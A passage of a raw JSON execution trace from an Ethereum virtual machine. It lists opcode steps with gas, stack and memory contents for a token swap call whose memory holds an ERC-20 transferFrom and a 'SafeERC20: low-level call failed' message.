","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15499,"op":"PUSH1","gas":95906,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15501,"op":"DUP3","gas":95903,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15502,"op":"MLOAD","gas":95900,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15503,"op":"PUSH2","gas":95897,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15506,"op":"DUP2","gas":95894,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15507,"op":"DUP5","gas":95891,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15508,"op":"PUSH1","gas":95888,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15510,"op":"DUP8","gas":95885,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15511,"op":"ADD","gas":95882,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x20","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15512,"op":"PUSH2","gas":95879,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15515,"op":"JUMP","gas":95876,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x3c5e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15454,"op":"JUMPDEST","gas":95868,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c71